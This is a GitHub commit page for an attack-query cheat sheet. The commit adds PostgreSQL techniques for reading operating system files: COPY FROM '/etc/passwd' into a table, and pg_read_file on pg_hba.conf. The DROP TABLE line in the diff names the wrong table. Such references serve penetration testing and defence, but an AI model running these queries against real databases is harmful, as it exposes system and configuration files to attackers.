Skip to content

Commit

Permalink
Added file read option for postgresql
Browse files Browse the repository at this point in the history
  • Loading branch information
nullbind committed Mar 8, 2019
1 parent 6abc5f2 commit 499f367
Showing 1 changed file with 8 additions and 2 deletions.
10 changes: 8 additions & 2 deletions attackQueries/readingAndWritingFiles/postgresql.html
Original file line number Diff line number Diff line change
Expand Up @@ -13,14 +13,20 @@ <h3 id="reading-and-writing-files">Reading and Writing Files</h3>
</thead>
<tbody>
<tr>
<td>Read Files from Operating System</td>
<td>Read Files from Operating System - COPY</td>
<td>
CREATE TABLE mydata(t text);<br>
COPY mydata FROM '/etc/passwd';<br>
SELECT * FROM mydata;<br>
DROP TABLE mytest mytest;<br>
</td>
</tr>
</tr>
<tr>
<td>Read Files from Operating System - pg_read_file</td>
<td>
SELECT pg_read_file('/usr/local/pgsql/data/pg_hba.conf', 0, 200);
</td>
</tr>
<tr>
<td>Writing Files from Operating System</td>
<td>
Expand Down

0 comments on commit 499f367

Please sign in to comment.